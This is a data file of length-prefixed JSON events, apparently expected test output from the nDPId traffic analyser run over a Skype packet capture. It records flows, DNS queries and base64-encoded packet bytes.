+00417{"flow_id":240,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2314,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":864300,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"0NQSxnP1PBXCt3IOCABFAAAujeYAAEARD0nAqAEiTLnPDDLdsbUAGk80noICQMd2CkIbTJvr2m+0rjWR"} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2315,"source":"skype.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":1,"flow_first_seen":1431969723979,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63421,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":276,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2315,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":979489,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLQV0AAEARtdHAqAEiwKgBAfe9ADUAN4CxqiYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2315,"source":"skype.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":1,"flow_first_seen":1431969723979,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63421,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2316,"source":"skype.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":1,"flow_first_seen":1431969723979,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":65037,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_id":277,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2316,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969723,"pkt_ts_usec":979685,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLuaAAAEARPY7AqAEiwKgBAf4NADUANx167A0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00652{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2316,"source":"skype.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":1,"flow_first_seen":1431969723979,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":65037,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"pipe.prd.skypedata.akadns.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00438{"flow_id":275,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2317,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":58733,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8FntAAEAGhbHAqAEi1KEIJMPSNFCRDXEXwSvNzoAYEChagwAAAQEICj4jyE4\/mk5203B1cONeI20="} +00441{"flow_id":273,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2320,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":89704,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAyr4AAEARLHvAqAEiwKgBAc3qADUALN\/7ZhIBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAAQAB"} +00440{"flow_id":274,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2321,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":89826,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAk9AAAEARY2nAqAEiwKgBAcpaADUALFPq9ZgBAAABAAAAAAAAAWIGY29uZmlnBXNreXBlA2NvbQAAHAAB"} +00440{"flow_id":249,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2324,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":396161,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA84\/pAAEAGRT7AqAEiR+4Hy8PBSU++p140nwx1rIAZECj6jwAAAQEICj4jyZ0DHKOA72ydd\/Dm76E="} +00440{"flow_id":252,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2326,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":466339,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WStAAEAGgObAqAEiUVNNjcPEROe9aVaB2bol\/oAZEClBOgAAAQEICj4jyeMAupldFs\/7EKwgSC8="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2329,"source":"skype.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":1,"flow_first_seen":1431969724570,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"212.161.8.36","src_port":50131,"dst_port":13392,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":278,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2329,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":570574,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAJs1AAEAGdVvAqAEi1KEIJMPTNFCYsmkqAAAAALAC\/\/+V\/gAAAgQFtAEDAwUBAQgKPiPKSgAAAAAEAgAA"} +00438{"flow_id":278,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2330,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":644714,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADQGqCzUoQgkwKgBIjRQw9NEN1OLmLJpK6ASOJD4ewAAAgQFrAQCCAo\/mJ6PPiPKSgEDAwk="} +00426{"flow_id":278,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2331,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":644823,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0kBRAAEAGDCDAqAEi1KEIJMPTNFCYsmkrRDdTjIAQECxPXAAAAQEICj4jypQ\/mJ6P"} +00434{"flow_id":278,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2332,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":644900,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5D6VAAEAGjIrAqAEi1KEIJMPTNFCYsmkrRDdTjIAYECw4TAAAAQEICj4jypQ\/mJ6PFgMBAAA="} +00425{"flow_id":278,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2333,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":717581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0zS1AADQG2wbUoQgkwKgBIjRQw9NEN1OMmLJpMIAQAB1fVAAAAQEICj+YnqE+I8qU"} +00433{"flow_id":278,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2334,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":717588,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFAAA5zS5AADQG2wDUoQgkwKgBIjRQw9NEN1OMmLJpMIAYAB1HRAAAAQEICj+YnqE+I8qUFwMBAAA="} +00426{"flow_id":278,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2335,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":717727,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0YJBAAEAGO6TAqAEi1KEIJMPTNFCYsmkwRDdTkYAQECtO+QAAAQEICj4jytw\/mJ6h"} +00434{"flow_id":278,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2336,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":717861,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"0NQSxnP1PBXCt3IOCABFAAA5ghZAAEAGGhnAqAEi1KEIJMPTNFCYsmkwRDdTkYAYECs36QAAAQEICj4jytw\/mJ6hFgMBAAA="} +00427{"flow_id":275,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2337,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":718040,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EZFAAEAGiqPAqAEi1KEIJMPSNFCRDXEfwSvNzoARECinqQAAAQEICj4jytw\/mk52"} +02386{"flow_id":278,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2338,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":719008,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"0NQSxnP1PBXCt3IOCABFAAXUqtJAAEAG68HAqAEi1KEIJMPTNFCYsmk1RDdTkYAQECszugAAAQEICj4jyt0\/mJ6hFgMBAN9Cze\/nQNcvHbMvMSEclaDwrCf05Aqj8bxunv7xHsNWXRGFSTiR\/n\/lyM4paKx2Ks08ai6VWGqZxtvst+G9lHLEa1K3s5uBn16P+UBB7iP\/NiRZmYgC9uRCdhHzoqfbmmsT7\/oyz4RQX5FbP\/tZgqf679fvoFIwBjaxsi5DWhreRt7VO\/pfj+xNmPgcOosdKdVBU1OL\/LIJXJaOJLcLp8Ddf5dumhWL6BKO80P5SipMX6+dtdNgivQPWqrh7rg5vGzvbH2X+yNSeXUetJQW3p+cKIOnxOzvH+k8eWakGdlzFwMBAH31iHy9Gu9Bce7R\/TpjGxi7Z9vZnQaCCqWYH3cB2qGc8zA9+5uMR5yk4xmC4MOKKeYRtmjb\/y\/p7gCV1HcHNZYfglltMwDXrcF9KEDymKnL+suip5jHah4xR2yhKXA+HpDwhJMfL0nc1wsXkz59ZnBzrayQ1koGX1d2pBcpQxcDAQB9VaATDGIqTrAqQayZ+\/lPl4LA5ZxRJf00GTHF3GMZXliqwLQQT05+sLm8bxB0EVEdGLnmgg6OU1q\/BZXqAzCLMT83t2Uf3zWVoP2bZ1BPBsmALtO2sEZ+RKvNR3\/GGPx6t1J8GztKFeOuD2VI93JapTgFpGWfrVmiDQu9ilgXAwEAfSp5idpwc2UqoFJN3OQseCwvkV2UTkvASkyx0Ys1gazfMF03z46m0nfIh8dWLGX5+QtQAvQjv+Vru1Uqc6No6XOWxgVUnIV\/vmHPFs1EckF7YjR9FCYAAayMFxtV7plnvN9iJYgoGWEnOe1LOI4QAN0RObWfhljKydcSPdkjFwMBAH3QbFk77NPq4XHOGILL03kuOuWCnXxoHaDRvliDl1ikNvlJyeTjf3+t5J\/WmqnljbpfpostiJdED0W58P0o5CTgB0LOGEJGiid1wVkuO1AFzBOT5oj+F+7MvUpADsg+gApgViIpeJ\/E8Ha+Wc11oWpD7LtxvLX9d7KRHoBMJhcDAQCEWlN5KmPJ5WnQBog+y18g8DGYiZSxopBKxY3CYYYQnFFaZ3A7tkV24zQRzME9ZFq8KbC13UAB6EDTNk5pmZoKdQ4pEJn+o6YySKsPJJi6Z1INK1mGqPpldIeqm49lB9Ef84PyCAzsLE6BQrFmFBcLZjM1auKSx4hwDyKO1YSdfTppmXrFFwMBAH25SzGyGdWf8U2VMxOoY6qk7Q0DgVLd530OG0nRvNz3k+yZjKJ6apBX8TPdBwbKUK1ENtVc48oM8XCWb530g\/wDja\/brJ6uucRo0oSkygGOUc+8T5ahXa28o7F1CGl1qUp\/0PvRZvPKg8auMAVHq0\/pBn2m3bHvO7FIIU2iwhcDAQCJs67qEXIYqLXeNqKOmhrBMLKZrH68TzKtOcWkcAIUxPEWoFdtC54c4Ob9mCa2d6C9TSGXltRH3nKWB5ewIaEwrq1SYW\/qup9jggAzxP\/wsCqAmzrTGpc1S0W+07YTOs5GxN5rUygRXNqIEaMNQz2nTTceIV+PyxIOAQsDCb+ZlTyRbHDtpIduEGcXAwEAiZq\/BNmfGEEFuh3q0bXofrD8SzgF5ZZY+wezxwTl8hzcwgaYrtBStaqNqSfWQintmL\/o6qcbkyjfEQaU\/Q939CPVwXZ2ipMJ+vnEcezIzjE+HGtFMlpc\/rBFbCcuyrNC5hXWkWtx7T0I9G7wr1IdyI6wXc69lXkhmp8\/mFkooQdPijrLjQc4qIzBFwMBAIyLhC6GNrYmKyRlrw7Z9UEG5Y8zisfGkXObBCrE9nZDPshiFypkKfd\/anQBH15t7BGA8\/j8k+Qav9nU+XWoCsIrjCoLbXNRl0eI3dGhKsdSqvtr7DGj0oZL5h7JJ5XM2Ejr4BNY3AXDz+LM4XNzG\/iUAocT\/SyQQKkIOZ2\/Pdtyp\/zQTRxr+MuS"} +00436{"flow_id":278,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2339,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":719010,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"0NQSxnP1PBXCt3IOCABFAAA4nTtAAEAG\/vTAqAEi1KEIJMPTNFCYsm7VRDdTkYAYECvwEAAAAQEICj4jyt0\/mJ6hCV9P1w=="} +00435{"flow_id":278,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2340,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":791006,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"PBXCt3IO0NQSxnP1CABFAAA5zS9AADQG2v\/UoQgkwKgBIjRQw9NEN1ORmLJpNYAYAB1G3wAAAQEICj+YnrQ+I8rcFwMBAAA="} +01929{"flow_id":278,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2341,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":791119,"pkt_caplen":1173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1173,"pkt_l4_len":1139,"pkt":"0NQSxnP1PBXCt3IOCABFAASHFF9AAEAGg4LAqAEi1KEIJMPTNFCYsm7ZRDdTloAYECuXGgAAAQEICj4jyyU\/mJ60FwMBAH\/SXgyac6L2V5QeG\/lGyvuZ6gqjBmOmQTZ872HES9CXQ9eAqUUzgUsOjBfu3xYi7n0FFO7JML7BbnDkQO05+KmyfndyuEoXJ11wkRXDRvYj\/aJfByRMPfjrd+boI5rkKbb1QRJJk+jJmSURaLyL4Sr\/b1UZyPPn7JSIEpAobcLMFwMBAH4106Z98xEBIy2a6B4m4M5BBIc40jBSdDH5A7haDpFKWcyv8sRYhujPzoLMRiujupXNlvgdgGvEFunySrXr4Gdo3BQoMzs49HhiBZWApeDRLIp4niPEiEAQbrcVC6dHMCL7V\/IM9dvDltRToglYXIecBDK1rz4Y2SzHiQ2Kj4IXAwEAfpkJwS8\/Ab+ltpekWznkKEN+KET\/1kFA0I+pyKM0GfT29BJPPGEUY6CYnR0XSW3ts+ciX4pN92V8Ei\/NIMQbLClkCltRpvoBYWP+5CJaVdJ6lW8EoiMvMaSpHuqUtknefIzGZhFHG0BcxpBBxo3gfA9bcdUV9VJDi5qg8HIfvhcDAQB+ISPWnwIxr4nYCSj97Tyt184I1ZH4+lLYRvwRZELp2sPN97un+RD\/IdFXxUdxXwm6fpCNRYUs0B0mkzYbZfiiWNPThsSwGiuIwX5PU53qS3143S\/jPSu7XkEoyIpXqFo3hINVKCFfKHHGb8hyYp\/q+K+Qua\/W16HYtgnj2W2CFwMBAH3feni1MqT8Hqvkp9h5+JZDRttk082SMBO2H05dxg5atMWc\/Fy3UdeAmDkHN9WMrHTMatTpEUqR97hKuF0pBdPbRoORM85VY5bqMOg8ItmR0Ak0Y9iGNn6yaCQfSba9fSYRUADdF2GzMZNIscmRI9PKmndiydgIuYuIf1oSzhcDAQCARR7HY6o5gk3JerE\/JaKwavMEqXASgYeaHzOSOes0Gh19bnIXXAkEuRIZEZA7QqLAHT9Qhtkhj+mf0jkSPs3SIzmtpqgKSjIpP6Jk54Ka+ZqsXy1ohjpGj4fFS4PYQOGcfSZFhxbvHpwgOxW4ztl1kRaCDdv6iQMTXix7LFlRQWYXAwEAgJtyeOWP3WRcEDLoBewFNFBm6X0BVZSSzvV7NBAu2xMVeGOKeBnC7x6DwRfUxqXTFGodyrTKcZl2OqeHCXJkeZc9bPICbRAdx5\/qP1izQssTWP\/RHQwTyVSFF5RxcSRwFOqh8muFpl93+7zOuvBx5ff\/G2upvDSYJEbzzCnbUHwTFwMBALXsTk5nJ7tdbqhwiiBDEhjxQkOLO80aOIQkuBE2el+3nluN8nNdECCFCaLZTOKyK+YbY1AqaF0k\/Wgzp53KmYFMMxGKpgv+yB5uEIXbE+W4ZaVIfd2QwlW02fRJCcIb0\/OsXjdo0PWAVsnAQbJxTCIG4TGmbqgH1Oj6nb3U660K7uu7U+fzXrmRecDYFdnIdxPMHQ84yljZ3ao0F8abQ1DXM1p4cvFGZLc8vCRO9EIRgvkjW\/5Q"} +00426{"flow_id":278,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2342,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":805415,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0zTBAADQG2wPUoQgkwKgBIjRQw9NEN1OWmLJu2YAQACJZPQAAAQEICj+Ynrc+I8rd"} +00660{"flow_id":278,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2343,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":817877,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"PBXCt3IO0NQSxnP1CABFAADfzTFAADQG2lfUoQgkwKgBIjRQw9NEN1OWmLJu2YAZACIDkgAAAQEICj+Ynro+I8rdFwMBAA7tSO8uO\/5OgpbqjQShgxcDAQAOt5kiQnuUGhzQCeV\/wtMXAwEADoEguOcZnO7injDqdGS3FwMBAA6RolA+RCBqLzyTjOUDiBcDAQAO6fxLmoVeM1AIaf+3MGEXAwEADm\/ew9i5FF643WM3gtRWFwMBAA7gVfi2SlZkxokEaprnxBcDAQAOqqPB5t8z9BjdoeL0EokXAwEADiMEleX6l+fX3q8yfuXQ"} +00427{"flow_id":278,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2344,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":817993,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0W1FAAEAGQOPAqAEi1KEIJMPTNFCYsnMsRDdUQoAQECZD1QAAAQEICj4jyz8\/mJ66"} +00438{"flow_id":250,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2349,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":989135,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8C8FAAEAGrFvAqAEiBfi63cPCeSJZV8vhQ7fcvYAZECqj8QAAAQEICj4jy+gAAG6yvouwwfuK2cY="} +00439{"flow_id":275,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2350,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969724,"pkt_ts_usec":996054,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8c+5AAEAGKD7AqAEi1KEIJMPSNFCRDXEXwSvNzoAZEChW4gAAAQEICj4jy+4\/mk5203B1cONeI20="} +00456{"flow_id":276,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2353,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969725,"pkt_ts_usec":34723,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLrvwAAEARSDLAqAEiwKgBAfe9ADUAN4CxqiYBAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAABAAE="} +00456{"flow_id":277,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2354,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969725,"pkt_ts_usec":34809,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"0NQSxnP1PBXCt3IOCABFAABLUrMAAEARpHvAqAEiwKgBAf4NADUANx167A0BAAABAAAAAAAABHBpcGUDcHJkCXNreXBlZGF0YQZha2FkbnMDbmV0AAAcAAE="} +00879{"flow_id":266,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2355,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969725,"pkt_ts_usec":158371,"pkt_caplen":398,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":398,"pkt_l4_len":364,"pkt":"0NQSxnP1PBXCt3IOCABFAAGA3S9AAEAGZqjAqAEiW77YF8POMD6CImX9rdWNC4AYECjkpQAAAQEICj4jzI8NJSaium5jNp\/t6MnvYv17vInE+u60ockfR5mfGTOro0QN8LMKnmAyvODPlTeyrnkoAUpKceu5uu4NlVO\/v7ctJqTBVS8o0R1CSL+EPA5s6N3+\/xSicLOSk8FOw0ZK8JvNsCjaQnMlPLIfYEsiQsmAyX1mhdmutUXuX1FlLSieJ868LDp8KWnZBPAIIPoWEV34j0UNNhg8OjdvwRinNdOManql86rY\/V2GVf6ms8Z9fpiOdcl2TxrxP9aSeZz3HmVMIj+c1\/jv3lQrBoXgfkzaS2fI27xuPVW4vOSfOCqdpBx40nBoPLwgs99WAHdL8kRdgfaFID96DQLsQ1X2UmAKMsqHqhcdQYFDK9h1czYRqgSNf6OjxZjjG\/RON6LXVdAjMLtOT1G4VUncOMp43DgkS1qIRYNmPbrc8XzQI4wvtYSHiTNizbbA6Gpepi0kbFY="} +00439{"flow_id":262,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2358,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969725,"pkt_ts_usec":243061,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8sAtAAEAGSl\/AqAEiUA4uecPLET9q+leLFCuFJYAZECkgiwAAAQEICj4jzOIAA1WWI9QHv+GwZuI="} +00457{"flow_id":272,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2360,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969725,"pkt_ts_usec":641504,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKA0wAAEAR8+PAqAEiwKgBAdxDADUANtEePu0BAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAABwAAQ=="} +00457{"flow_id":271,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2361,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969725,"pkt_ts_usec":641698,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"0NQSxnP1PBXCt3IOCABFAABKPxoAAEARuBXAqAEiwKgBAc4GADUANhjrBXkBAAABAAAAAAAAAzMzNQEwATcBNwEzBHJzdDUBcgVza3lwZQNuZXQAAAEAAQ=="} 